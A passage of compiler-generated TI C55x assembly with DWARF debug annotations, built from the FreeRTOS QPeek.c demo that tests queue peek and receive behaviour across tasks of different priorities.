$C$DW$62 .dwtag DW_TAG_TI_branch .dwattr $C$DW$62, DW_AT_low_pc(0x00) .dwattr $C$DW$62, DW_AT_name("_vTaskSuspend") .dwattr $C$DW$62, DW_AT_TI_call CALL #_vTaskSuspend ; |213| ; call occurs [#_vTaskSuspend] ; |213| .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 214,column 2,is_stmt B $C$L2 ; |214| ; branch occurs ; |214| $C$DW$L$_prvHighestPriorityPeekTask$22$E: .dwcfi cfa_offset, 6 .dwcfi restore_reg, 30 .dwcfi cfa_offset, 5 .dwcfi restore_reg, 28 .dwcfi cfa_offset, 4 .dwcfi restore_reg, 26 .dwcfi cfa_offset, 3 .dwcfi restore_reg, 15 .dwcfi cfa_offset, 2 .dwcfi restore_reg, 14 .dwcfi cfa_offset, 1 $C$DW$63 .dwtag DW_TAG_TI_loop .dwattr $C$DW$63, DW_AT_name("F:\eZdsp_DBG\tmp1\c55x-sim2\foo\Debug\QPeek.asm:$C$L2:1:1538833122") .dwattr $C$DW$63, DW_AT_TI_begin_file("../FreeRTOS/Demo/Common/Minimal/QPeek.c") .dwattr $C$DW$63, DW_AT_TI_begin_line(0x7d) .dwattr $C$DW$63, DW_AT_TI_end_line(0xd6) $C$DW$64 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$64, DW_AT_low_pc($C$DW$L$_prvHighestPriorityPeekTask$2$B) .dwattr $C$DW$64, DW_AT_high_pc($C$DW$L$_prvHighestPriorityPeekTask$2$E) $C$DW$65 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$65, DW_AT_low_pc($C$DW$L$_prvHighestPriorityPeekTask$3$B) .dwattr $C$DW$65, DW_AT_high_pc($C$DW$L$_prvHighestPriorityPeekTask$3$E) $C$DW$66 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$66, DW_AT_low_pc($C$DW$L$_prvHighestPriorityPeekTask$4$B) .dwattr $C$DW$66, DW_AT_high_pc($C$DW$L$_prvHighestPriorityPeekTask$4$E) $C$DW$67 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$67, DW_AT_low_pc($C$DW$L$_prvHighestPriorityPeekTask$5$B) .dwattr $C$DW$67, DW_AT_high_pc($C$DW$L$_prvHighestPriorityPeekTask$5$E) $C$DW$68 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$68, DW_AT_low_pc($C$DW$L$_prvHighestPriorityPeekTask$6$B) .dwattr $C$DW$68, DW_AT_high_pc($C$DW$L$_prvHighestPriorityPeekTask$6$E) $C$DW$69 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$69, DW_AT_low_pc($C$DW$L$_prvHighestPriorityPeekTask$7$B) .dwattr $C$DW$69, DW_AT_high_pc($C$DW$L$_prvHighestPriorityPeekTask$7$E) $C$DW$70 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$70, DW_AT_low_pc($C$DW$L$_prvHighestPriorityPeekTask$8$B) .dwattr $C$DW$70, DW_AT_high_pc($C$DW$L$_prvHighestPriorityPeekTask$8$E) $C$DW$71 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$71, DW_AT_low_pc($C$DW$L$_prvHighestPriorityPeekTask$9$B) .dwattr $C$DW$71, DW_AT_high_pc($C$DW$L$_prvHighestPriorityPeekTask$9$E) $C$DW$72 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$72, DW_AT_low_pc($C$DW$L$_prvHighestPriorityPeekTask$10$B) .dwattr $C$DW$72, DW_AT_high_pc($C$DW$L$_prvHighestPriorityPeekTask$10$E) $C$DW$73 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$73, DW_AT_low_pc($C$DW$L$_prvHighestPriorityPeekTask$11$B) .dwattr $C$DW$73, DW_AT_high_pc($C$DW$L$_prvHighestPriorityPeekTask$11$E) $C$DW$74 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$74, DW_AT_low_pc($C$DW$L$_prvHighestPriorityPeekTask$12$B) .dwattr $C$DW$74, DW_AT_high_pc($C$DW$L$_prvHighestPriorityPeekTask$12$E) $C$DW$75 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$75, DW_AT_low_pc($C$DW$L$_prvHighestPriorityPeekTask$13$B) .dwattr $C$DW$75, DW_AT_high_pc($C$DW$L$_prvHighestPriorityPeekTask$13$E) $C$DW$76 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$76, DW_AT_low_pc($C$DW$L$_prvHighestPriorityPeekTask$14$B) .dwattr $C$DW$76, DW_AT_high_pc($C$DW$L$_prvHighestPriorityPeekTask$14$E) $C$DW$77 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$77, DW_AT_low_pc($C$DW$L$_prvHighestPriorityPeekTask$15$B) .dwattr $C$DW$77, DW_AT_high_pc($C$DW$L$_prvHighestPriorityPeekTask$15$E) $C$DW$78 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$78, DW_AT_low_pc($C$DW$L$_prvHighestPriorityPeekTask$16$B) .dwattr $C$DW$78, DW_AT_high_pc($C$DW$L$_prvHighestPriorityPeekTask$16$E) $C$DW$79 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$79, DW_AT_low_pc($C$DW$L$_prvHighestPriorityPeekTask$17$B) .dwattr $C$DW$79, DW_AT_high_pc($C$DW$L$_prvHighestPriorityPeekTask$17$E) $C$DW$80 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$80, DW_AT_low_pc($C$DW$L$_prvHighestPriorityPeekTask$18$B) .dwattr $C$DW$80, DW_AT_high_pc($C$DW$L$_prvHighestPriorityPeekTask$18$E) $C$DW$81 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$81, DW_AT_low_pc($C$DW$L$_prvHighestPriorityPeekTask$19$B) .dwattr $C$DW$81, DW_AT_high_pc($C$DW$L$_prvHighestPriorityPeekTask$19$E) $C$DW$82 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$82, DW_AT_low_pc($C$DW$L$_prvHighestPriorityPeekTask$20$B) .dwattr $C$DW$82, DW_AT_high_pc($C$DW$L$_prvHighestPriorityPeekTask$20$E) $C$DW$83 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$83, DW_AT_low_pc($C$DW$L$_prvHighestPriorityPeekTask$21$B) .dwattr $C$DW$83, DW_AT_high_pc($C$DW$L$_prvHighestPriorityPeekTask$21$E) $C$DW$84 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$84, DW_AT_low_pc($C$DW$L$_prvHighestPriorityPeekTask$22$B) .dwattr $C$DW$84, DW_AT_high_pc($C$DW$L$_prvHighestPriorityPeekTask$22$E) .dwendtag $C$DW$63 .dwattr $C$DW$50, DW_AT_TI_end_file("../FreeRTOS/Demo/Common/Minimal/QPeek.c") .dwattr $C$DW$50, DW_AT_TI_end_line(0xd7) .dwattr $C$DW$50, DW_AT_TI_end_column(0x01) .dwendentry .dwendtag $C$DW$50 .sect ".text" .align 4 $C$DW$85 .dwtag DW_TAG_subprogram, DW_AT_name("prvHighPriorityPeekTask") .dwattr $C$DW$85, DW_AT_low_pc(_prvHighPriorityPeekTask) .dwattr $C$DW$85, DW_AT_high_pc(0x00) .dwattr $C$DW$85, DW_AT_TI_symbol_name("_prvHighPriorityPeekTask") .dwattr $C$DW$85, DW_AT_TI_begin_file("../FreeRTOS/Demo/Common/Minimal/QPeek.c") .dwattr $C$DW$85, DW_AT_TI_begin_line(0xda) .dwattr $C$DW$85, DW_AT_TI_begin_column(0x0d) .dwattr $C$DW$85, DW_AT_TI_max_frame_size(0x0a) .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 219,column 1,is_stmt,address _prvHighPriorityPeekTask .dwfde $C$DW$CIE, _prvHighPriorityPeekTask $C$DW$86 .dwtag DW_TAG_formal_parameter, DW_AT_name("pvParameters") .dwattr $C$DW$86, DW_AT_TI_symbol_name("_pvParameters") .dwattr $C$DW$86, DW_AT_type(*$C$DW$T$3) .dwattr $C$DW$86, DW_AT_location[DW_OP_reg17] ;******************************************************************************* ;* FUNCTION NAME: prvHighPriorityPeekTask * ;* * ;* Function Uses Regs : AC0,AC0,AC1,AC1,T0,T2,T3,AR0,XAR0,AR1,XAR1,AR3,XAR3, * ;* AR5,SP,TC1,M40,SATA,SATD,RDM,FRCT,SMUL * ;* Save On Entry Regs : T2,T3,AR5 * ;* Stack Frame : Compact (No Frame Pointer, w/ debug) * ;* Total Frame Size : 10 words * ;* (1 return address/alignment) * ;* (6 local values) * ;* (3 register save area) * ;* Min System Stack : 2 words * ;******************************************************************************* _prvHighPriorityPeekTask: .dwcfi cfa_offset, 1 .dwcfi save_reg_to_mem, 91, -1 PSH T2 .dwcfi cfa_offset, 2 .dwcfi save_reg_to_mem, 14, -2 PSH T3 .dwcfi cfa_offset, 3 .dwcfi save_reg_to_mem, 15, -3 PSHBOTH XAR5 .dwcfi cfa_offset, 4 .dwcfi save_reg_to_mem, 26, -4 AADD #-6, SP .dwcfi cfa_offset, 10 $C$DW$87 .dwtag DW_TAG_variable, DW_AT_name("pvParameters") .dwattr $C$DW$87, DW_AT_TI_symbol_name("_pvParameters") .dwattr $C$DW$87, DW_AT_type(*$C$DW$T$3) .dwattr $C$DW$87, DW_AT_location[DW_OP_bregx 0x24 0] $C$DW$88 .dwtag DW_TAG_variable, DW_AT_name("xQueue") .dwattr $C$DW$88, DW_AT_TI_symbol_name("_xQueue") .dwattr $C$DW$88, DW_AT_type(*$C$DW$T$22) .dwattr $C$DW$88, DW_AT_location[DW_OP_bregx 0x24 2] $C$DW$89 .dwtag DW_TAG_variable, DW_AT_name("ulValue") .dwattr $C$DW$89, DW_AT_TI_symbol_name("_ulValue") .dwattr $C$DW$89, DW_AT_type(*$C$DW$T$68) .dwattr $C$DW$89, DW_AT_location[DW_OP_bregx 0x24 4] MOV XAR0, dbl(*SP(#0)) .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 220,column 15,is_stmt MOV #1, AR5 || MOV #1, T3 MOV dbl(*SP(#0)), XAR3 MOV XAR3, dbl(*SP(#2)) || MOV #1, T2 $C$L13: $C$DW$L$_prvHighPriorityPeekTask$2$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 228,column 3,is_stmt MOV #-1 << #16, AC0 ; |228| MOV dbl(*SP(#2)), XAR0 AMAR *SP(#4), XAR1 OR #0xffff, AC0, AC0 ; |228| $C$DW$90 .dwtag DW_TAG_TI_branch .dwattr $C$DW$90, DW_AT_low_pc(0x00) .dwattr $C$DW$90, DW_AT_name("_xQueuePeek") .dwattr $C$DW$90, DW_AT_TI_call CALL #_xQueuePeek ; |228| ; call occurs [#_xQueuePeek] ; |228| CMP T0 == AR5, TC1 ; |228| BCC $C$L14,TC1 ; |228| ; branchcc occurs ; |228| $C$DW$L$_prvHighPriorityPeekTask$2$E: $C$DW$L$_prvHighPriorityPeekTask$3$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 231,column 4,is_stmt MOV #1, *(#_xErrorDetected) ; |231| $C$DW$L$_prvHighPriorityPeekTask$3$E: $C$L14: $C$DW$L$_prvHighPriorityPeekTask$4$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 237,column 3,is_stmt MOV #291 << #16, AC0 ; |237| MOV dbl(*SP(#4)), AC1 ; |237| OR #0x4567, AC0, AC0 ; |237| CMPU AC1 == AC0, TC1 ; |237| BCC $C$L15,TC1 ; |237| ; branchcc occurs ; |237| $C$DW$L$_prvHighPriorityPeekTask$4$E: $C$DW$L$_prvHighPriorityPeekTask$5$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 240,column 4,is_stmt MOV #1, *(#_xErrorDetected) ; |240| $C$DW$L$_prvHighPriorityPeekTask$5$E: $C$L15: $C$DW$L$_prvHighPriorityPeekTask$6$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 243,column 3,is_stmt MOV dbl(*SP(#2)), XAR0 $C$DW$91 .dwtag DW_TAG_TI_branch .dwattr $C$DW$91, DW_AT_low_pc(0x00) .dwattr $C$DW$91, DW_AT_name("_uxQueueMessagesWaiting") .dwattr $C$DW$91, DW_AT_TI_call CALL #_uxQueueMessagesWaiting ; |243| ; call occurs [#_uxQueueMessagesWaiting] ; |243| CMPU T0 == T3, TC1 ; |243| BCC $C$L16,TC1 ; |243| ; branchcc occurs ; |243| $C$DW$L$_prvHighPriorityPeekTask$6$E: $C$DW$L$_prvHighPriorityPeekTask$7$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 246,column 4,is_stmt MOV #1, *(#_xErrorDetected) ; |246| $C$DW$L$_prvHighPriorityPeekTask$7$E: $C$L16: $C$DW$L$_prvHighPriorityPeekTask$8$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 253,column 3,is_stmt AMOV #0, XAR0 ; |253| $C$DW$92 .dwtag DW_TAG_TI_branch .dwattr $C$DW$92, DW_AT_low_pc(0x00) .dwattr $C$DW$92, DW_AT_name("_vTaskSuspend") .dwattr $C$DW$92, DW_AT_TI_call CALL #_vTaskSuspend ; |253| ; call occurs [#_vTaskSuspend] ; |253| .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 258,column 3,is_stmt MOV #-1 << #16, AC0 ; |258| AMAR *SP(#4), XAR1 MOV dbl(*SP(#2)), XAR0 OR #0xffff, AC0, AC0 ; |258| $C$DW$93 .dwtag DW_TAG_TI_branch .dwattr $C$DW$93, DW_AT_low_pc(0x00) .dwattr $C$DW$93, DW_AT_name("_xQueueReceive") .dwattr $C$DW$93, DW_AT_TI_call CALL #_xQueueReceive ; |258| ; call occurs [#_xQueueReceive] ; |258| CMP T0 == T2, TC1 ; |258| BCC $C$L17,TC1 ; |258| ; branchcc occurs ; |258| $C$DW$L$_prvHighPriorityPeekTask$8$E: $C$DW$L$_prvHighPriorityPeekTask$9$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 260,column 4,is_stmt MOV #1, *(#_xErrorDetected) ; |260| $C$DW$L$_prvHighPriorityPeekTask$9$E: $C$L17: $C$DW$L$_prvHighPriorityPeekTask$10$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 263,column 3,is_stmt MOV #-21829 << #16, AC0 ; |263| MOV dbl(*SP(#4)), AC1 ; |263| OR #0xaabb, AC0, AC0 ; |263| CMPU AC1 == AC0, TC1 ; |263| BCC $C$L18,TC1 ; |263| ; branchcc occurs ; |263| $C$DW$L$_prvHighPriorityPeekTask$10$E: $C$DW$L$_prvHighPriorityPeekTask$11$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 265,column 4,is_stmt MOV #1, *(#_xErrorDetected) ; |265| $C$DW$L$_prvHighPriorityPeekTask$11$E: $C$L18: $C$DW$L$_prvHighPriorityPeekTask$12$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 268,column 3,is_stmt AMOV #0, XAR0 ; |268| $C$DW$94 .dwtag DW_TAG_TI_branch .dwattr $C$DW$94, DW_AT_low_pc(0x00) .dwattr $C$DW$94, DW_AT_name("_vTaskSuspend") .dwattr $C$DW$94, DW_AT_TI_call CALL #_vTaskSuspend ; |268| ; call occurs [#_vTaskSuspend] ; |268| .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 269,column 2,is_stmt B $C$L13 ; |269| ; branch occurs ; |269| $C$DW$L$_prvHighPriorityPeekTask$12$E: .dwcfi cfa_offset, 4 .dwcfi restore_reg, 26 .dwcfi cfa_offset, 3 .dwcfi restore_reg, 15 .dwcfi cfa_offset, 2 .dwcfi restore_reg, 14 .dwcfi cfa_offset, 1 $C$DW$95 .dwtag DW_TAG_TI_loop .dwattr $C$DW$95, DW_AT_name("F:\eZdsp_DBG\tmp1\c55x-sim2\foo\Debug\QPeek.asm:$C$L13:1:1538833122") .dwattr $C$DW$95, DW_AT_TI_begin_file("../FreeRTOS/Demo/Common/Minimal/QPeek.c") .dwattr $C$DW$95, DW_AT_TI_begin_line(0xdf) .dwattr $C$DW$95, DW_AT_TI_end_line(0x10d) $C$DW$96 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$96, DW_AT_low_pc($C$DW$L$_prvHighPriorityPeekTask$2$B) .dwattr $C$DW$96, DW_AT_high_pc($C$DW$L$_prvHighPriorityPeekTask$2$E) $C$DW$97 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$97, DW_AT_low_pc($C$DW$L$_prvHighPriorityPeekTask$3$B) .dwattr $C$DW$97, DW_AT_high_pc($C$DW$L$_prvHighPriorityPeekTask$3$E) $C$DW$98 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$98, DW_AT_low_pc($C$DW$L$_prvHighPriorityPeekTask$4$B) .dwattr $C$DW$98, DW_AT_high_pc($C$DW$L$_prvHighPriorityPeekTask$4$E) $C$DW$99 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$99, DW_AT_low_pc($C$DW$L$_prvHighPriorityPeekTask$5$B) .dwattr $C$DW$99, DW_AT_high_pc($C$DW$L$_prvHighPriorityPeekTask$5$E) $C$DW$100 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$100, DW_AT_low_pc($C$DW$L$_prvHighPriorityPeekTask$6$B) .dwattr $C$DW$100, DW_AT_high_pc($C$DW$L$_prvHighPriorityPeekTask$6$E) $C$DW$101 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$101, DW_AT_low_pc($C$DW$L$_prvHighPriorityPeekTask$7$B) .dwattr $C$DW$101, DW_AT_high_pc($C$DW$L$_prvHighPriorityPeekTask$7$E) $C$DW$102 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$102, DW_AT_low_pc($C$DW$L$_prvHighPriorityPeekTask$8$B) .dwattr $C$DW$102, DW_AT_high_pc($C$DW$L$_prvHighPriorityPeekTask$8$E) $C$DW$103 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$103, DW_AT_low_pc($C$DW$L$_prvHighPriorityPeekTask$9$B) .dwattr $C$DW$103, DW_AT_high_pc($C$DW$L$_prvHighPriorityPeekTask$9$E) $C$DW$104 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$104, DW_AT_low_pc($C$DW$L$_prvHighPriorityPeekTask$10$B) .dwattr $C$DW$104, DW_AT_high_pc($C$DW$L$_prvHighPriorityPeekTask$10$E) $C$DW$105 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$105, DW_AT_low_pc($C$DW$L$_prvHighPriorityPeekTask$11$B) .dwattr $C$DW$105, DW_AT_high_pc($C$DW$L$_prvHighPriorityPeekTask$11$E) $C$DW$106 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$106, DW_AT_low_pc($C$DW$L$_prvHighPriorityPeekTask$12$B) .dwattr $C$DW$106, DW_AT_high_pc($C$DW$L$_prvHighPriorityPeekTask$12$E) .dwendtag $C$DW$95 .dwattr $C$DW$85, DW_AT_TI_end_file("../FreeRTOS/Demo/Common/Minimal/QPeek.c") .dwattr $C$DW$85, DW_AT_TI_end_line(0x10e) .dwattr $C$DW$85, DW_AT_TI_end_column(0x01) .dwendentry .dwendtag $C$DW$85 .sect ".text" .align 4 $C$DW$107 .dwtag DW_TAG_subprogram, DW_AT_name("prvMediumPriorityPeekTask") .dwattr $C$DW$107, DW_AT_low_pc(_prvMediumPriorityPeekTask) .dwattr $C$DW$107, DW_AT_high_pc(0x00) .dwattr $C$DW$107, DW_AT_TI_symbol_name("_prvMediumPriorityPeekTask") .dwattr $C$DW$107, DW_AT_TI_begin_file("../FreeRTOS/Demo/Common/Minimal/QPeek.c") .dwattr $C$DW$107, DW_AT_TI_begin_line(0x111) .dwattr $C$DW$107, DW_AT_TI_begin_column(0x0d) .dwattr $C$DW$107, DW_AT_TI_max_frame_size(0x0a) .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 274,column 1,is_stmt,address _prvMediumPriorityPeekTask .dwfde $C$DW$CIE, _prvMediumPriorityPeekTask $C$DW$108 .dwtag DW_TAG_formal_parameter, DW_AT_name("pvParameters") .dwattr $C$DW$108, DW_AT_TI_symbol_name("_pvParameters") .dwattr $C$DW$108, DW_AT_type(*$C$DW$T$3) .dwattr $C$DW$108, DW_AT_location[DW_OP_reg17] ;******************************************************************************* ;* FUNCTION NAME: prvMediumPriorityPeekTask * ;* * ;* Function Uses Regs : AC0,AC0,AC1,AC1,T0,T2,T3,AR0,XAR0,AR1,XAR1,AR3,XAR3, * ;* SP,CARRY,TC1,M40,SATA,SATD,RDM,FRCT,SMUL * ;* Save On Entry Regs : T2,T3 * ;* Stack Frame : Compact (No Frame Pointer, w/ debug) * ;* Total Frame Size : 10 words * ;* (2 return address/alignment) * ;* (6 local values) * ;* (2 register save area) * ;* Min System Stack : 1 word * ;******************************************************************************* _prvMediumPriorityPeekTask: .dwcfi cfa_offset, 1 .dwcfi save_reg_to_mem, 91, -1 PSH T2 .dwcfi cfa_offset, 2 .dwcfi save_reg_to_mem, 14, -2 PSH T3 .dwcfi cfa_offset, 3 .dwcfi save_reg_to_mem, 15, -3 AADD #-7, SP .dwcfi cfa_offset, 10 $C$DW$109 .dwtag DW_TAG_variable, DW_AT_name("pvParameters") .dwattr $C$DW$109, DW_AT_TI_symbol_name("_pvParameters") .dwattr $C$DW$109, DW_AT_type(*$C$DW$T$3) .dwattr $C$DW$109, DW_AT_location[DW_OP_bregx 0x24 0] $C$DW$110 .dwtag DW_TAG_variable, DW_AT_name("xQueue") .dwattr $C$DW$110, DW_AT_TI_symbol_name("_xQueue") .dwattr $C$DW$110, DW_AT_type(*$C$DW$T$22) .dwattr $C$DW$110, DW_AT_location[DW_OP_bregx 0x24 2] $C$DW$111 .dwtag DW_TAG_variable, DW_AT_name("ulValue") .dwattr $C$DW$111, DW_AT_TI_symbol_name("_ulValue") .dwattr $C$DW$111, DW_AT_type(*$C$DW$T$68) .dwattr $C$DW$111, DW_AT_location[DW_OP_bregx 0x24 4] MOV XAR0, dbl(*SP(#0)) .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 275,column 15,is_stmt MOV #1, T3 MOV dbl(*SP(#0)), XAR3 MOV XAR3, dbl(*SP(#2)) || MOV #1, T2 $C$L19: $C$DW$L$_prvMediumPriorityPeekTask$2$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 283,column 3,is_stmt MOV #-1 << #16, AC0 ; |283| MOV dbl(*SP(#2)), XAR0 AMAR *SP(#4), XAR1 OR #0xffff, AC0, AC0 ; |283| $C$DW$112 .dwtag DW_TAG_TI_branch .dwattr $C$DW$112, DW_AT_low_pc(0x00) .dwattr $C$DW$112, DW_AT_name("_xQueuePeek") .dwattr $C$DW$112, DW_AT_TI_call CALL #_xQueuePeek ; |283| ; call occurs [#_xQueuePeek] ; |283| CMP T0 == T3, TC1 ; |283| BCC $C$L20,TC1 ; |283| ; branchcc occurs ; |283| $C$DW$L$_prvMediumPriorityPeekTask$2$E: $C$DW$L$_prvMediumPriorityPeekTask$3$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 286,column 4,is_stmt MOV #1, *(#_xErrorDetected) ; |286| $C$DW$L$_prvMediumPriorityPeekTask$3$E: $C$L20: $C$DW$L$_prvMediumPriorityPeekTask$4$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 292,column 3,is_stmt MOV #291 << #16, AC0 ; |292| MOV dbl(*SP(#4)), AC1 ; |292| OR #0x4567, AC0, AC0 ; |292| CMPU AC1 == AC0, TC1 ; |292| BCC $C$L21,TC1 ; |292| ; branchcc occurs ; |292| $C$DW$L$_prvMediumPriorityPeekTask$4$E: $C$DW$L$_prvMediumPriorityPeekTask$5$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 295,column 4,is_stmt MOV #1, *(#_xErrorDetected) ; |295| $C$DW$L$_prvMediumPriorityPeekTask$5$E: $C$L21: $C$DW$L$_prvMediumPriorityPeekTask$6$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 298,column 3,is_stmt MOV dbl(*SP(#2)), XAR0 $C$DW$113 .dwtag DW_TAG_TI_branch .dwattr $C$DW$113, DW_AT_low_pc(0x00) .dwattr $C$DW$113, DW_AT_name("_uxQueueMessagesWaiting") .dwattr $C$DW$113, DW_AT_TI_call CALL #_uxQueueMessagesWaiting ; |298| ; call occurs [#_uxQueueMessagesWaiting] ; |298| CMPU T0 == T2, TC1 ; |298| BCC $C$L22,TC1 ; |298| ; branchcc occurs ; |298| $C$DW$L$_prvMediumPriorityPeekTask$6$E: $C$DW$L$_prvMediumPriorityPeekTask$7$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 301,column 4,is_stmt MOV #1, *(#_xErrorDetected) ; |301| $C$DW$L$_prvMediumPriorityPeekTask$7$E: $C$L22: $C$DW$L$_prvMediumPriorityPeekTask$8$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 305,column 3,is_stmt MOV dbl(*(#_ulLoopCounter)), AC0 ; |305| ADD #1, AC0 ; |305| MOV AC0, dbl(*(#_ulLoopCounter)) ; |305| .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 309,column 3,is_stmt AMOV #0, XAR0 ; |309| $C$DW$114 .dwtag DW_TAG_TI_branch .dwattr $C$DW$114, DW_AT_low_pc(0x00) .dwattr $C$DW$114, DW_AT_name("_vTaskSuspend") .dwattr $C$DW$114, DW_AT_TI_call CALL #_vTaskSuspend ; |309| ; call occurs [#_vTaskSuspend] ; |309| .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 310,column 2,is_stmt B $C$L19 ; |310| ; branch occurs ; |310| $C$DW$L$_prvMediumPriorityPeekTask$8$E: .dwcfi cfa_offset, 3 .dwcfi restore_reg, 15 .dwcfi cfa_offset, 2 .dwcfi restore_reg, 14 .dwcfi cfa_offset, 1 $C$DW$115 .dwtag DW_TAG_TI_loop .dwattr $C$DW$115, DW_AT_name("F:\eZdsp_DBG\tmp1\c55x-sim2\foo\Debug\QPeek.asm:$C$L19:1:1538833122") .dwattr $C$DW$115, DW_AT_TI_begin_file("../FreeRTOS/Demo/Common/Minimal/QPeek.c") .dwattr $C$DW$115, DW_AT_TI_begin_line(0x116) .dwattr $C$DW$115, DW_AT_TI_end_line(0x136) $C$DW$116 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$116, DW_AT_low_pc($C$DW$L$_prvMediumPriorityPeekTask$2$B) .dwattr $C$DW$116, DW_AT_high_pc($C$DW$L$_prvMediumPriorityPeekTask$2$E) $C$DW$117 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$117, DW_AT_low_pc($C$DW$L$_prvMediumPriorityPeekTask$3$B) .dwattr $C$DW$117, DW_AT_high_pc($C$DW$L$_prvMediumPriorityPeekTask$3$E) $C$DW$118 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$118, DW_AT_low_pc($C$DW$L$_prvMediumPriorityPeekTask$4$B) .dwattr $C$DW$118, DW_AT_high_pc($C$DW$L$_prvMediumPriorityPeekTask$4$E) $C$DW$119 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$119, DW_AT_low_pc($C$DW$L$_prvMediumPriorityPeekTask$5$B) .dwattr $C$DW$119, DW_AT_high_pc($C$DW$L$_prvMediumPriorityPeekTask$5$E) $C$DW$120 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$120, DW_AT_low_pc($C$DW$L$_prvMediumPriorityPeekTask$6$B) .dwattr $C$DW$120, DW_AT_high_pc($C$DW$L$_prvMediumPriorityPeekTask$6$E) $C$DW$121 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$121, DW_AT_low_pc($C$DW$L$_prvMediumPriorityPeekTask$7$B) .dwattr $C$DW$121, DW_AT_high_pc($C$DW$L$_prvMediumPriorityPeekTask$7$E) $C$DW$122 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$122, DW_AT_low_pc($C$DW$L$_prvMediumPriorityPeekTask$8$B) .dwattr $C$DW$122, DW_AT_high_pc($C$DW$L$_prvMediumPriorityPeekTask$8$E) .dwendtag $C$DW$115 .dwattr $C$DW$107, DW_AT_TI_end_file("../FreeRTOS/Demo/Common/Minimal/QPeek.c") .dwattr $C$DW$107, DW_AT_TI_end_line(0x137) .dwattr $C$DW$107, DW_AT_TI_end_column(0x01) .dwendentry .dwendtag $C$DW$107 .sect ".text" .align 4 $C$DW$123 .dwtag DW_TAG_subprogram, DW_AT_name("prvLowPriorityPeekTask") .dwattr $C$DW$123, DW_AT_low_pc(_prvLowPriorityPeekTask) .dwattr $C$DW$123, DW_AT_high_pc(0x00) .dwattr $C$DW$123, DW_AT_TI_symbol_name("_prvLowPriorityPeekTask") .dwattr $C$DW$123, DW_AT_TI_begin_file("../FreeRTOS/Demo/Common/Minimal/QPeek.c") .dwattr $C$DW$123, DW_AT_TI_begin_line(0x13a) .dwattr $C$DW$123, DW_AT_TI_begin_column(0x0d) .dwattr $C$DW$123, DW_AT_TI_max_frame_size(0x0c) .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 315,column 1,is_stmt,address _prvLowPriorityPeekTask .dwfde $C$DW$CIE, _prvLowPriorityPeekTask $C$DW$124 .dwtag DW_TAG_formal_parameter, DW_AT_name("pvParameters") .dwattr $C$DW$124, DW_AT_TI_symbol_name("_pvParameters") .dwattr $C$DW$124, DW_AT_type(*$C$DW$T$3) .dwattr $C$DW$124, DW_AT_location[DW_OP_reg17] 